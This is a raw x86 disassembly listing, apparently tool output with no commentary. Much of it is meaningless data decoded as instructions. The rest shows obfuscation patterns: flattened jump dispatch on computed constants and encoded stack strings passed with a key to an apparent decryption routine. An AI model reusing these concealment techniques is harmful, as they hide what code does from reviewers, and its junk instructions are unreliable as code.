sar dh, cl
pop es
stc
pop esi
and dword [ebp + 0x41be98b5], eax
push esp
test byte [edx], ch
out 0x89, al
wait
setl byte [ebx - 0x1e772e10]
shr dword [esp + esi - 0x44d8d3b7], 4
sbb dword [edx - 0x79], edx
cmc
mov esp, 0x96e4ac43
lea ecx, [edx + 0x6b]
mov al, byte [0x473dadd8]
lea ebx, [edi + 0x2bc9bb]
insb byte es:[edi], dx
adc eax, dword [ecx - 0x20891482]
salc
cmpsd dword [esi], dword es:[edi]
cld
xchg byte [edi], bl
scasb al, byte es:[edi]
enter 0x1452, 0x11
retf 0xe5c8
lodsd eax, dword [esi]
cld
sbb ebp, dword [esi]
les ecx, [0x3d77cb6b]
xchg esp, eax
invalid
int3
add byte [edi - 0x45], cl
push esi
add dh, dl
movsb byte es:[edi], byte ss:[esi]
dec edi
mov ebx, 0x36d60056
movsb byte es:[edi], byte [esi]
popfd
pop es
loopne 0x6e0d3185
or esi, edx
inc ebx
lds edi, [ecx]
imul ecx, dword [edx - 0xf], 0xa66b3e0f
ja 0x6e0d3116
push es
test al, 0xd0
invalid
aas
ret
cmpsb byte [esi], byte es:[edi]
push ebp
or dword [edi - 0x2f], ecx
jnp 0x6e0d311d
pop eax
mov bh, 3
push edi
jle 0x6e0d314f
loope 0x6e0d311b
add ecx, dword [edi + 0x7c]
invalid
aam 0xd9
fbstp tbyte [edx + 0xf]
invalid
adc dword [eax], edx
call 0xa62ac1ce
retf 0xf8a8
nop
jmp 0x6e0d7785
nop
mov dword [ebp - 0x384], 0x15382018
mov dword [ebp - 0x380], 0x2d22391c
mov dword [ebp - 0x37c], 0x2a21030a
mov word [ebp - 0x378], 0
mov dword [ebp - 0x1d8], 0xe2b25
mov dword [ebp - 0x1d4], 0
mov dword [ebp - 0x1e0], 0xc88a9
mov dword [ebp - 0x1dc], 0
mov ecx, dword [ebp - 0x1d8]
mov ebx, dword [ebp - 0x1d4]
mov eax, dword [ebp - 0x1e0]
mov edx, dword [ebp - 0x1dc]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x1e8], eax
mov dword [ebp - 0x1e4], edx
mov eax, dword [ebp - 0x1e8]
xor eax, 0x1ab3ce
or eax, dword [ebp - 0x1e4]
je 0x6e0f6900
mov edx, 0x1ab3ce
mov eax, 0
cmp edx, dword [ebp - 0x1e8]
sbb eax, dword [ebp - 0x1e4]
jl 0x6e0f6903
mov eax, dword [ebp - 0x1e8]
xor eax, 0xeda60
or eax, dword [ebp - 0x1e4]
je 0x6e0e66db
mov edx, 0xeda60
mov eax, 0
cmp edx, dword [ebp - 0x1e8]
sbb eax, dword [ebp - 0x1e4]
jl 0x6e0f6903
mov eax, dword [ebp - 0x1e8]
xor eax, 0xeb998
or eax, dword [ebp - 0x1e4]
je 0x6e0df183
mov edx, 0xeb998
mov eax, 0
cmp edx, dword [ebp - 0x1e8]
sbb eax, dword [ebp - 0x1e4]
jl 0x6e0f6903
mov eax, dword [ebp - 0x1e8]
xor eax, 0xd526e
or eax, dword [ebp - 0x1e4]
je 0x6e0dda0b
mov edx, 0xd526e
mov eax, 0
cmp edx, dword [ebp - 0x1e8]
sbb eax, dword [ebp - 0x1e4]
jl 0x6e0f6903
mov eax, dword [ebp - 0x1e8]
xor eax, 0xc1ec6
or eax, dword [ebp - 0x1e4]
je 0x6e0f3a13
mov edx, 0xc1ec6
mov eax, 0
cmp edx, dword [ebp - 0x1e8]
sbb eax, dword [ebp - 0x1e4]
jl 0x6e0f6903
mov eax, dword [ebp - 0x1e8]
xor eax, 0xa2394
or eax, dword [ebp - 0x1e4]
je 0x6e0ead43
mov edx, 0xa2394
mov eax, 0
cmp edx, dword [ebp - 0x1e8]
sbb eax, dword [ebp - 0x1e4]
jl 0x6e0f6903
mov eax, dword [ebp - 0x1e8]
xor eax, 0x9bc4e
or eax, dword [ebp - 0x1e4]
je 0x6e0e2073
mov edx, 0x9bc4e
mov eax, 0
cmp edx, dword [ebp - 0x1e8]
sbb eax, dword [ebp - 0x1e4]
jl 0x6e0f6903
mov eax, dword [ebp - 0x1e8]
xor eax, 0x978ff
or eax, dword [ebp - 0x1e4]
je 0x6e0dab1b
mov edx, 0x978ff
mov eax, 0
cmp edx, dword [ebp - 0x1e8]
sbb eax, dword [ebp - 0x1e4]
jl 0x6e0f6903
mov eax, dword [ebp - 0x1e8]
xor eax, 0x63397
or eax, dword [ebp - 0x1e4]
je 0x6e0f229b
mov edx, 0x63397
mov eax, 0
cmp edx, dword [ebp - 0x1e8]
sbb eax, dword [ebp - 0x1e4]
jl 0x6e0f6903
mov eax, dword [ebp - 0x1e8]
xor eax, 0x58416
or eax, dword [ebp - 0x1e4]
je 0x6e0d7c2b
mov edx, 0x58416
mov eax, 0
cmp edx, dword [ebp - 0x1e8]
sbb eax, dword [ebp - 0x1e4]
jl 0x6e0f6903
mov eax, dword [ebp - 0x1e8]
xor eax, 0x51836
or eax, dword [ebp - 0x1e4]
je 0x6e0e95cb
mov edx, 0x51836
mov eax, 0
cmp edx, dword [ebp - 0x1e8]
sbb eax, dword [ebp - 0x1e4]
jl 0x6e0f6903
mov eax, dword [ebp - 0x1e8]
xor eax, 0x45580
or eax, dword [ebp - 0x1e4]
je 0x6e0f518b
mov edx, 0x45580
mov eax, 0
cmp edx, dword [ebp - 0x1e8]
sbb eax, dword [ebp - 0x1e4]
jl 0x6e0f6903
mov eax, dword [ebp - 0x1e8]
xor eax, 0x3a67d
or eax, dword [ebp - 0x1e4]
je 0x6e0e37eb
mov edx, 0x3a67d
mov eax, 0
cmp edx, dword [ebp - 0x1e8]
sbb eax, dword [ebp - 0x1e4]
jl 0x6e0f6903
mov eax, dword [ebp - 0x1e8]
xor eax, 0x3a476
or eax, dword [ebp - 0x1e4]
je 0x6e0ec4bb
mov edx, 0x3a476
mov eax, 0
cmp edx, dword [ebp - 0x1e8]
sbb eax, dword [ebp - 0x1e4]
jl 0x6e0f6903
mov eax, dword [ebp - 0x1e8]
xor eax, 0x3446e
or eax, dword [ebp - 0x1e4]
je 0x6e0e4f63
mov edx, 0x3446e
mov eax, 0
cmp edx, dword [ebp - 0x1e8]
sbb eax, dword [ebp - 0x1e4]
jl 0x6e0f6903
mov eax, dword [ebp - 0x1e8]
xor eax, 0x2dd63
or eax, dword [ebp - 0x1e4]
je 0x6e0f0b23
mov edx, 0x2dd63
mov eax, 0
cmp edx, dword [ebp - 0x1e8]
sbb eax, dword [ebp - 0x1e4]
jl 0x6e0f6903
mov eax, dword [ebp - 0x1e8]
xor eax, 0x22995
or eax, dword [ebp - 0x1e4]
je 0x6e0dc293
mov edx, 0x22995
mov eax, 0
cmp edx, dword [ebp - 0x1e8]
sbb eax, dword [ebp - 0x1e4]
jl 0x6e0f6903
mov eax, dword [ebp - 0x1e8]
xor eax, 0x21a4e
or eax, dword [ebp - 0x1e4]
je 0x6e0e7e53
mov edx, 0x21a4e
mov eax, 0
cmp edx, dword [ebp - 0x1e8]
sbb eax, dword [ebp - 0x1e4]
jl 0x6e0f6903
mov eax, dword [ebp - 0x1e8]
xor eax, 0x1b1ab
or eax, dword [ebp - 0x1e4]
je 0x6e0ef3ab
mov edx, 0x1b1ab
mov eax, 0
cmp edx, dword [ebp - 0x1e8]
sbb eax, dword [ebp - 0x1e4]
jl 0x6e0f6903
mov eax, dword [ebp - 0x1e8]
xor eax, 0x1ac2b
or eax, dword [ebp - 0x1e4]
je 0x6e0e08fb
lea eax, [eax]
add byte [edx + 0x1ac2b], bh
mov edx, 0x1ac2b
mov eax, 0
cmp edx, dword [ebp - 0x1e8]
sbb eax, dword [ebp - 0x1e4]
jl 0x6e0f6903
mov eax, dword [ebp - 0x1e8]
xor eax, 0x13186
or eax, dword [ebp - 0x1e4]
je 0x6e0edc33
mov eax, dword [ebp - 0x1e8]
xor eax, 0x163e5
or eax, dword [ebp - 0x1e4]
je 0x6e0d93a3
jmp 0x6e0f6903
add dl, byte [ebx + 0x38]
jg 0x6e0d7bd9
invalid
or dword [esi], ecx
ret
mov al, byte [0x2b939670]
ljmp 0xc563
fbstp tbyte [esi - 0x43]
arpl word [eax], ax
mov ebx, 0xbe24d413
jmp 0xb8a041ee
cdq
rol edx, 1
sub ebx, dword [ecx - 0x75]
loopne 0x6e0daab0
or ch, byte [edx - 0x7b4efeb4]
ficomp dword [ebx + 0x43cd1189]
shr edx, 1
or dword [edx - 3], esp
sal byte [ecx - 0x792ed5d7], cl
jae 0x6e0dab98
adc eax, ebx
das
cmc
stosd dword es:[edi], eax
dec edi
push eax
jno 0x6e0dab58
inc esp
mov dword [0x6cd058d6], eax
mov byte [0x42499ddc], al
out 0x78, eax
jne 0x6e0dabad
mov word [edi + 0x673d9ec0], ds
daa
pushal
invalid
sahf
cmp eax, 0xdb602767
jae 0x6e0daafe
mov byte [0x1bd4a58d], al
pop ebp
mov ebp, 0x11ebaec
invalid
cmp eax, edi
les ebp, [ebp + 0x1be5fb4b]
sub dword [eax - 0x47], edx
retf
or al, 0xb
inc ebp
lodsb al, byte [esi]
pop ss
mov eax, dword [0xda9b4f05]
out dx, eax
ja 0x6e0dabf2
push es
sub al, 0x21
jecxz 0x6e0dabe5
xor eax, 0xe6e99b4a
iretd
mov esi, 0xcc90ba2b
xor byte [eax + esi*4 + 0x47], 0x16
mov dl, 0xfe
mov bh, 0xbe
out 0xa9, al
rcl ah, 0x30
cmp dword [eax - 0x3c82a6cd], esp
mov esi, 0xd4c0a9e6
xor byte [ecx], bh
mov al, byte [0xc37d5933]
jmp 0x6e0dabf1
nop
int3
wait
xchg esp, eax
pushal
xor dword [ebp + 0x62], esi
bound edx, qword [eax + 0x5d]
adc eax, dword [esi]
sti
ja 0x6e0dc28c
cli
inc esp
inc esi
add bl, byte [edi]
invalid
inc ebp
aaa
adc ch, byte [eax - 0x11aed446]
mov eax, dword [0xba76fcbf]
rcr dword [eax - 0x2c], 1
or esi, dword [eax]
jge 0x6e0dda3c
sub ebp, dword [eax + 0x3875071f]
inc esi
imul edi, dword [eax], 0x4d
cwde
insb byte es:[edi], dx
cdq
retf 0xc891
fisubr dword [edi]
retf
mov edi, dword [edx]
xchg dword [eax], eax
mov ah, 0x6a
xchg esp, eax
sub edx, dword [ebx]
and byte [ecx + 0x53b095ac], 0xf
retf
wait
rcr byte [ecx], cl
aad 0xba
jae 0x6e0df145
xchg ebx, eax
or byte [ebx + 0x528c5694], ah
jno 0x6e0df188
cmp dword [esi + 0x667073b2], edi
xchg ebp, eax
adc eax, 0x2535d8bd
fnstenv [0x455638b9]
outsd dx, dword [esi]
sbb eax, 0x3af918f3
div dword [ecx]
invalid
sub eax, 0xbf4431e1
push es
and dword [ebp - 0x4db4b684], ebp
aaa
sub eax, 0xa4a6263a
mov dword [ecx - 0x71], ebp
mov dh, 0x25
add dl, dh
jmp 0x2e7b2276
hlt
test eax, 0x91e9cc90
dec eax
add dword [eax], eax
sub ch, byte [esi]
cmpsb byte [esi], byte es:[edi]
mov byte [0x289c3604], al
std
inc edi
in al, 0x9b
mov dl, 0x42
sub dword [ebx - 0x12], edx
and dl, byte [edx - 0x280cf493]
or esi, edx
bound ebx, qword [ebp + 0x48]
nop
mov al, 0xd1
mov ecx, 0xd83f813a
call 0x1faaa04b
pushal
fdiv qword [ecx - 0x6df649f2]
or ecx, 0xffffffe0
xor eax, 0xf4b0928d
push 0xf98372ca
or dword [edx + 0x35e0c983], edx
lea edx, [edx - 0x35970b50]
jb 0x6e0e2032
stc
ffreep st(0)
cld
or ch, 0x21
aaa
mov ebx, 0x220e784f
jge 0x6e0e20c2
mov dl, byte [ebx + 0x259919cf]
imul esp, dword [edx + 0x27], 0x53
cdq
and eax, 0x5327626b
movsd dword es:[edi], dword [esi]
js 0x6e0e20a1
loopne 0x6e0e206b
sbb ah, dl
out dx, al
mov dh, 0xb6
and al, 0x3c
out dx, al
xchg ebp, eax
stc
insd dword es:[edi], dx
retf 0xb603
arpl word [edi], bx
mov edx, 0x4f4d7240
fisttp qword [esi + 0x48]
ret 0xf615
adc esp, esi
stosb byte es:[edi], al
stosd dword es:[edi], eax
lodsb al, byte [esi]
adc al, 0x2d
pop es
xor eax, 0xcb1d3516
cdq
scasd eax, dword es:[edi]
sub ah, byte [ecx - 0x38]
invalid
invalid
mov dl, byte [edi]
add al, 0x13
and byte [0x794979a7], 0x57
add byte [esp + edi*2 + 0xd], 0xa2
sub ecx, eax
pop es
pop es
cmp ah, al
adc byte [edx + 0x4e14c0ce], cl
inc ebx
push ss
fstp xword [eax + 1]
cmp eax, 0xb72b67d0
adc eax, 0x5c4ce9d4
stc
add ebp, dword [eax + 0x54d8a24]
nop
int3
or al, cl
loop 0x6e0e7d4a
adc byte [ecx - 0x75], bl
cmpsb byte [esi], byte es:[edi]
fcom dword [ebp + 8]
and ah, ch
lcall 0x1ff6, 0x4bdc5fd9
pop edi
jg 0x6e0e7dbf
push ebx
ret 0xe5e2
sti
inc ecx
in eax, dx
mov dl, byte [edx - 0xf6d518f]
push ds
jmp 0x6e0e7dd5
adc eax, dword [ecx - 0x5c7ca6ff]
sbb ch, byte [eax + 0x1db919b]
inc ebp
add byte [ecx + 0x763bcd0e], 0x1b
push cs
call 0xdd71c555
test al, 0x56
jb 0x6e0e7d82
mov ah, 0x96
nop
in eax, 0x72
or al, 0x9a
mov dword [0xdda5beb9], eax
add ah, byte [ebp + 0x4a]
dec esi
fild dword [edi + 0x2b686921]
aaa
int 0xdd
call 0x9b128732
pop ds
mov cl, 0xd3
bound esp, qword [edx - 0x7f5225a0]
shr byte [eax - 0x63], 1
popfd
jg 0x6e0e7e1c
inc eax
sub al, 0x1c
pop edi
push 0x47dea36a
pop esi
jle 0x6e0e7e99
mov ch, 0x7a
mov es, word [ebx + edi*4 - 0x7ddfde72]
dec edi
not dword [ebx]
invalid
ror byte [eax], cl
dec esp
fiadd word [ebx - 0x56]
movsd dword es:[edi], dword [esi]
cmc
pop esi
loopne 0x6e0e7e8e
sar byte [0xd8d417a1], cl
jbe 0x6e0e7def
inc eax
shr byte [edi], 1
jne 0x6e0e7eca
mov dh, 0xe2
sti
xchg ecx, eax
pop esi
lodsd eax, dword [esi]
add eax, dword [ebx + 0x76]
push ds
add bl, byte [ebx]
pop ds
iretd
enter 0xffffffffffff8622, 0xffffffffffffffe5
std
inc edi
push esp
cmpsd dword [esi], dword es:[edi]
lds eax, [ebp + ecx*2 - 0x3e]
pop es
cmp byte [ebx], al
xor dh, byte [ebx - 0x53]
std
inc ecx
mov ebp, 0xdb6260ea
adc al, cl
pushf
mov dh, 0xbd
xchg esi, eax
cmp bl, ah
rol eax, cl
movsb byte es:[edi], byte [esi]
fist word [ebp - 0x7f]
add bl, byte [edi + 0x7bf1a7b1]
into
jmp 0x567f6f84
ret 0x3807
ljmp 0x66c8:0x10db6260
jne 0x6e0e7f0d
invalid
pop esp
adc byte [edi], 0xa5
mov ch, 0xa1
xchg esp, eax
loope 0x6e0e7ea3
add al, 0x1f
mov ch, 0x18
xchg ch, cl
mov ah, 0xc8
and byte [edi], 0x90
int3
mov byte [0x8119b5a7], bl
mov ebp, 0x1aadb27d
in eax, 0x70
salc
mov dl, 0xad
sbb ah, ch
jo 0x6e0e9641
salc
add al, 0x3e
xor eax, 0xde0dd11e
fidiv dword fs:[esi + 0x1a919ff5]
sbb bl, ch
mov eax, 0x1359b08a
and eax, 0x154f740a
out dx, al
or dword [ecx - 0x3c1d7f44], ebx
das
ja 0x6e0e95d4
pop edi
fist dword [edx + esi*2]
push esp
nop
push ebx
adc al, 0x2f
inc edi
push edx
and dword [edx + eax*8 - 0x2d], edx
ret
mov al, 0x27
cmp eax, esp
jg 0x6e0e9609
adc ah, byte [eax + 0x2c57a13d]
femms
push 0xd811b6b6
movsd dword es:[edi], dword [esi]
leave
push ebx
jmp 0x6e0e9665
ror ebx, 0x4e
ljmp 0xe003
push edi
push ebx
mov ah, byte [ebp + esi*2 - 0x15]
inc ebp
xor byte [eax + 0x14], cl
int3
dec ecx
movsb byte es:[edi], byte [esi]
add byte [eax], al
imul edx, dword [edi + 0x2a], 0x70
lds ebx, [eax]
sti
jg 0x6e0ec4b8
test eax, 0x5b264c76
lodsd eax, dword [esi]
pop ecx
pop edi
push 0x938b302c
xchg edx, eax
or ecx, dword [esi]
jl 0x6e0ec51f
dec eax
movsd dword es:[edi], dword [esi]
scasd eax, dword es:[edi]
pop es
cmp eax, 0x713b8cfa
xor byte ss:[ebx], al
bound ebx, qword [ebp - 0x1977e3f1]
pop ds
out dx, eax
scasb al, byte es:[edi]
sub byte [edi], ah
out 0xe9, eax
and byte [edi + eax*8 - 0x30], ah
mov eax, 0xc7c824eb
mov esp, eax
sub dword [ecx + eax*4 - 0x3119a30], eax
mov dword [edi + 0x1cea1971], esp
jecxz 0x6e0ec570
adc al, byte [eax - 0x28]
dec edx
int1
fisubr word [ebp - 0x1a7e27c8]
xor ah, dh
jb 0x6e0ec4b7
push 0x77
test ebp, ecx
add al, 0x25
mov esi, 0x88350e67
adc esi, dword [ebp - 0x1d]
and eax, 0xe67c6c7
xor eax, 0xe3751388
xlatb
sal dword [esi - 0xc0e815c], 0x1b
fcom qword [edx]
xchg edi, eax
push ecx
mov ebp, 0xfe7e3376
js 0x6e0ec548
outsd dx, dword [esi]
movsd dword es:[edi], dword [esi]
pop esp
adc al, 0xa0
test eax, 0x5f396ee2
daa
iretd
cmp dword [esi - 0x7b], ecx
cmc
or dword [ebp + 9], ebp
pop ecx
and byte [ebx + 3], 0xd7
add byte [ebp + 0x54], dl
invalid
loop 0x6e0edc80
push 0xffffffffffffffc3
mov esp, 0xee231bde
adc al, 0x87
test dword [esi - 0x101ffa85], 0x855dce46
insb byte es:[edi], dx
test dword [ebx + 0x55588ae0], esi
jmp 0xd3c3024e
retf 0xe7cd
sbb al, 0x2d
pushfd
adc al, 0x3e
sub edx, dword [ebp - 0x4b222c43]
aam 0x6d
test byte [0x783c69e4], cl
jecxz 0x6e0ef402
sub eax, 0x91bb3fb8
jg 0x6e0ef419
test eax, 0x91aec2ab
scasb al, byte es:[edi]
xchg ecx, eax
in al, dx
das
jecxz 0x6e0ef437
mov bl, 0x1f
invalid
lds ebp, [edi]
out dx, eax
or esp, dword [0x5c022f2c]
mov dword [eax], esi
bnd jle 0x6e0ef411
sbb cl, byte [esi + 0x17]
in al, 0x83
sub edx, dword [ecx - 0x580baeb8]
mov edi, 0xf35136a5
mov ebp, 0x63dc675
cmc
clc
jne 0x6e0ef3ca
invalid
cmp eax, 0xf3f56606
clc
inc eax
jb 0x6e0ef45f
rcr dword [edx], 1
div dword [ecx]
stosb byte es:[edi], al
lcall 0xbae6, 0x318ce38
dec ebp
iretd
or dl, byte [edi + 0x78909fe0]
xchg dword [ebp - 0x2a], ebx
cmp eax, 0x7d889b6b
and eax, 0x43d4ec7
or al, 0xec
adc dword [ebp + 0x2a], edx
bound edi, qword [edi - 2]
int1
xor byte [ebp - 0x22], ah
xlatb
pop esi
push ss
scasd eax, dword es:[edi]
dec esp
jp 0x6e0ef3e3
jo 0x6e0ef469
push edx
loop 0x6e0ef403
mov edx, 0xdf72278e
mov ss, word [esi - 0x1b41372]
in al, 0xe2
cmp al, 0x81
add eax, 0xc8311325
out dx, eax
js 0x6e0ef409
mov gs, esp
dec ebx
invalid
int3
sti
lodsb al, byte [esi]
rcr dword [eax - 0x1f39baed], 0x6f
push edi
retf 0x5d53
int3
sbb eax, 0xdba513ed
mov ah, 0xea
ret
xchg ah, dh
insb byte es:[edi], dx
add dh, bh
xchg ebx, eax
in eax, dx
jo 0x6e0f3a29
aaa
or al, byte [edi + edx*2]
invalid
sub byte [edx], dl
mov ah, 0x2b
pop esi
int1
xchg esp, eax
push 0x6a47d5dc
scasd eax, dword es:[edi]
push 0xbbe22378
rol esi, cl
loop 0x6e0f3a86
jb 0x6e0f3a15
mov bl, 0xc5
in eax, dx
cmp al, 0xd8
mov eax, 0x3f8b51a5
xor al, 0x99
pop ebx
jg 0x6e0f3a55
add eax, ecx
lds esp, [edi - 0x43]
out dx, al
leave
js 0x6e0f39dd
xor bh, byte [esi + 0x50]
cmc
lcall 0xe0e4, 0x3f48eac4
lcall 0xe0e4, 0x3f48eac4
sub ebx, dword [eax + 0x388de024]
mov cl, 0xee
imul edi, ecx, 0xf3bd0079
add byte [edi + eax*2], 0x7d
test esp, ebp
pop esp
scasd eax, dword es:[edi]
push es
out 0x2e, al
lodsd eax, dword [esi]
add eax, 0xa04908d6
js 0x6e0f3a5e
out dx, al
xlatb
push cs
jnp 0x6e0f3ac2
invalid
xchg esp, eax
cmp dword [0x9b5822dc], 0xf
mov ebx, 0x8f2f20e8
adc eax, 0xb2b679a
invalid
xor al, 0xc3
mov eax, 0x40eede63
std
int1
mov ecx, 0xafb43ad0
lodsb al, byte [esi]
sub edx, ebp
or dword [esi], eax
dec edx
xchg edx, eax
stosd dword es:[edi], eax
cmpsd dword [esi], dword es:[edi]
push es
fldenv [eax - 0x52a496f8]
mov dh, 0xd3
hlt
popfd
rol byte [ecx - 0x51], 1
nop
xchg edx, eax
add ebx, 0xffffff8e
shr byte [ecx + 0x26], 0xa1
dec edi
scasd eax, dword es:[edi]
cmpsb byte [esi], byte es:[edi]
movsd dword es:[edi], dword [esi]
jb 0x6e0f5138
inc esi
mov ch, 0x6e
xchg ecx, eax
add ecx, edi
invalid
nop
jmp 0x6e0f6904
nop
mov dword [esp + 8], str.NIJaiXNlfo
mov dword [esp + 4], 0xc
lea eax, [ebp - 0x384]
mov dword [esp], eax
call fcn.6da3dfac
mov dword [ebp - 0x1f0], 0x2cab2
mov dword [ebp - 0x1ec], 0
mov dword [ebp - 0x1f8], 0x1ae89
mov dword [ebp - 0x1f4], 0
mov eax, dword [ebp - 0x1ec]
imul eax, dword [ebp - 0x1f8]
mov edx, eax
mov eax, dword [ebp - 0x1f4]
imul eax, dword [ebp - 0x1f0]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x1f0]
mul dword [ebp - 0x1f8]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0x200], eax
mov dword [ebp - 0x1fc], edx
mov dword [ebp - 0x200], eax
mov dword [ebp - 0x1fc], edx
mov eax, dword [ebp - 0x200]
xor eax, 0xb1f57542
mov edx, dword [ebp - 0x1fc]
xor edx, 4
or eax, edx
je 0x6e1026eb
mov edx, 0xb1f57542
mov eax, 4
cmp edx, dword [ebp - 0x200]
sbb eax, dword [ebp - 0x1fc]
jl 0x6e1026ee
mov eax, dword [ebp - 0x200]
xor eax, 0xbc283
or eax, dword [ebp - 0x1fc]
je 0x6e0f6b2e
mov edx, 0xbc283
mov eax, 0
cmp edx, dword [ebp - 0x200]
sbb eax, dword [ebp - 0x1fc]
jl 0x6e1026ee
mov eax, dword [ebp - 0x200]
xor eax, 0x8a0bf
or eax, dword [ebp - 0x1fc]
je 0x6e0ff7fe
mov edx, 0x8a0bf
mov eax, 0
cmp edx, dword [ebp - 0x200]
sbb eax, dword [ebp - 0x1fc]
jl 0x6e1026ee
mov eax, dword [ebp - 0x200]
xor eax, 0x64682
or eax, dword [ebp - 0x1fc]
je 0x6e0f82a6
mov edx, 0x64682
mov eax, 0
cmp edx, dword [ebp - 0x200]
sbb eax, dword [ebp - 0x1fc]
jl 0x6e1026ee
mov eax, dword [ebp - 0x200]
xor eax, 0x38af8
or eax, dword [ebp - 0x1fc]
je 0x6e0f9a1e
mov edx, 0x38af8
mov eax, 0
cmp edx, dword [ebp - 0x200]
sbb eax, dword [ebp - 0x1fc]
jl 0x6e1026ee
mov eax, dword [ebp - 0x200]
xor eax, 0x1d8b2
or eax, dword [ebp - 0x1fc]
je 0x6e0fc90e
mov edx, 0x1d8b2
mov eax, 0
cmp edx, dword [ebp - 0x200]
sbb eax, dword [ebp - 0x1fc]
jl 0x6e1026ee
mov eax, dword [ebp - 0x200]
xor eax, 0x1c786
or eax, dword [ebp - 0x1fc]
je 0x6e100f76
mov edx, 0x1c786
mov eax, 0
cmp edx, dword [ebp - 0x200]
sbb eax, dword [ebp - 0x1fc]
jl 0x6e1026ee
mov eax, dword [ebp - 0x200]
xor eax, 0xc1a4
or eax, dword [ebp - 0x1fc]
je 0x6e0fe086
mov eax, dword [ebp - 0x200]
xor eax, 0x16cbd
or eax, dword [ebp - 0x1fc]
je 0x6e0fb196
jmp 0x6e1026ee
lodsd eax, dword [esi]
retf 0x359b
xor ah, byte [esi + 0x4d]
mov byte [0xfcf1f252], al
or al, 0x24
arpl word [edx + 0x3d], bp
push esi
scasb al, byte es:[edi]
push ds
test dword [edx + 0x79], esi
inc edx
call 0xe59b1ffb
invalid
add ecx, dword [edi - 0x29b8e5cb]
xchg edi, eax
push esi
push edi
adc eax, 0xdfcbfa2e
dec ebx
inc ebp
jp 0x6e0f9a88
lodsd eax, dword [esi]
cwde
enter 0xffffffffffffa296, 0x19
sbb al, 0xe
mov ebp, 0xcc90390c
jmp 0x6e1026ef
mov word [eax], es
add bh, ah
sbb dword [ebp + 0x78a7cf10], 0xffffffd4
out 0x83, eax
popfd
adc bh, cl
cmpsd dword [esi], dword es:[edi]
js 0x6e0f99fa
imul ecx, dword [ecx + 0x37cffc27], 0xffffffce
imul esi, esp, 0xfffffffc
mov esi, 0xc28ebf97
xlatb
push 0xffffffffffffffc6
lds eax, [esi + eax*2 + 0x64ed86a2]
sub dh, bh
fdiv qword [di - 0x4667]
jecxz 0x6e0f9a80
pop ss
in eax, dx
add eax, 0x6e8f692a
push ss
imul eax, dword [ecx + ebp*4 - 0x69d2f7e2], 0x536987bb
or byte [eax + 0x66], ah
pop eax
pop ax
imul edx, dword [eax - 0x5c7f402a], 0xffffffcb
cmpsd dword [esi], dword es:[edi]
cld
sbb dl, byte [eax - 0x47]
movsb byte es:[edi], byte [esi]
out dx, al
lodsb al, byte [esi]
pop ecx
cdq
salc
je 0x6e0f9a5f
adc byte [edi], bh
push edx
out 0x4f, eax
sbb edx, ebp
invalid
std
and ebp, dword [esi]
jo 0x6e0f9a91
add ebp, esp
jae 0x6e0f9a1b
sub dword [edx + 0x26], eax
sub byte [edi], ah
mov cl, 0xc8
pop ebx
paddw mm4, qword [ebp - 0x522ed1fe]
fnsave dword [esi]
pushfd
jb 0x6e0f9af2
add al, 0xce
sub dword [ecx + 0x3bbce4d], ecx
jmp 0x6e0f9a88
add dword [ecx + edx*8 - 0x47], esi
hlt
dec edx
inc ebx
mov edx, 0xca190191
mov edi, 0x61a681fc
xor byte [eax + 0x26], 0x26
out 0xe1, eax
add al, 0x36
lock adc dword [esi + 0x122c5d20], edi
and ah, byte [edx - 0x24]
mov esi, 0xced18d76
xchg esp, eax
insb byte es:[edi], dx
retf 0x1ffb
mov ecx, 0xab1bc981
jl 0x6e0fc85d
int3
pop ss
pop ss
mov ch, 0x8a
xchg esi, eax
adc dword [esi + 0x59], 0xc2f3bd1a
sbb al, 0x47
std
cmp dword [ebx + 0x43], ecx
pushfd
dec di
wait
cld
jmp 0x6e0fc8ae
jbe 0x6e0fc855
cwde
sbb byte [ecx + 0x2941f23b], 0x91
or byte [ebx + 0x71], dl
push 0x6f
insb byte es:[edi], dx
loopne 0x6e0fc85d
das
das
invalid
and byte [edx - 0x799afb1a], bl
sub eax, 0xbc1a391
scasd eax, dword es:[edi]
sti
repne cmpsb byte [esi], byte es:[edi]
mov al, 0x3e
or al, 0xd9
add byte [ecx - 0x956319d], 0xa4
lodsd eax, dword [esi]
or ecx, esp
outsb dx, byte [esi]
shl byte [eax + 0x6b], cl
mov dh, 0x57
js 0x6e0fc93c
mov edi, 0xf6d5aea0
mov esp, 0x41bbfbd1
in al, dx
xor al, 0x66
jo 0x6e0fc88c
add dh, cl
adc eax, 0xc62ed91d
push esi
jmp 0x49a58220
out dx, al
cmp byte [esi - 0x656a4161], dl
push es
jp 0x6e0fc962
jg 0x6e0fc8da
pop esi
add byte [ebx], 0x25
outsd dx, dword [esi]
adc ebp, edi
outsd dx, dword [esi]
inc ebp
salc
rcr byte [eax - 0x713ed9da], 1
mov byte [0x64c65cd2], al
mov ebx, 0xecc07e7d
sbb dword [0xd1eda8d5], ebp
aas
je 0x6e0fc918
invalid
add eax, 0xdae106dc
mov byte [edi + 0x7e], dl
in eax, 0x60
adc ebp, dword [edx - 0x1b]
invalid
push ds
fsubr dword [ecx + 0x44]
sti
invalid
cmpsd dword [esi], dword es:[edi]
popal
mov esi, 0xa562e658
jmp 0x32a8a872
dec ebx
retf 0xb82e
nop
jmp 0x6e1026ef
nop
mov dword [ebp - 0x397], 0x223e2c09
mov dword [ebp - 0x393], 0x93c2a1c
mov dword [ebp - 0x38f], 0x3b1e1b08
mov dword [ebp - 0x38b], 0x2b0c0225
mov dword [ebp - 0x388], 0x3d2b
mov dword [ebp - 0x208], 0xaf93c
mov dword [ebp - 0x204], 0
mov dword [ebp - 0x210], 0x6fd90
mov dword [ebp - 0x20c], 0
mov eax, dword [ebp - 0x204]
imul eax, dword [ebp - 0x210]
mov edx, eax
mov eax, dword [ebp - 0x20c]
imul eax, dword [ebp - 0x208]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x208]
mul dword [ebp - 0x210]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0x218], eax
mov dword [ebp - 0x214], edx
mov dword [ebp - 0x218], eax
mov dword [ebp - 0x214], edx
mov eax, dword [ebp - 0x218]
xor eax, 0xb5e47dc0
mov edx, dword [ebp - 0x214]
xor edx, 0x4c
or eax, edx
je 0x6e109de5
mov edx, 0xb5e47dc0
mov eax, 0x4c
cmp edx, dword [ebp - 0x218]
sbb eax, dword [ebp - 0x214]
jl 0x6e109de8
mov eax, dword [ebp - 0x218]
xor eax, 0xf211f
or eax, dword [ebp - 0x214]
je 0x6e108670
mov edx, 0xf211f
mov eax, 0
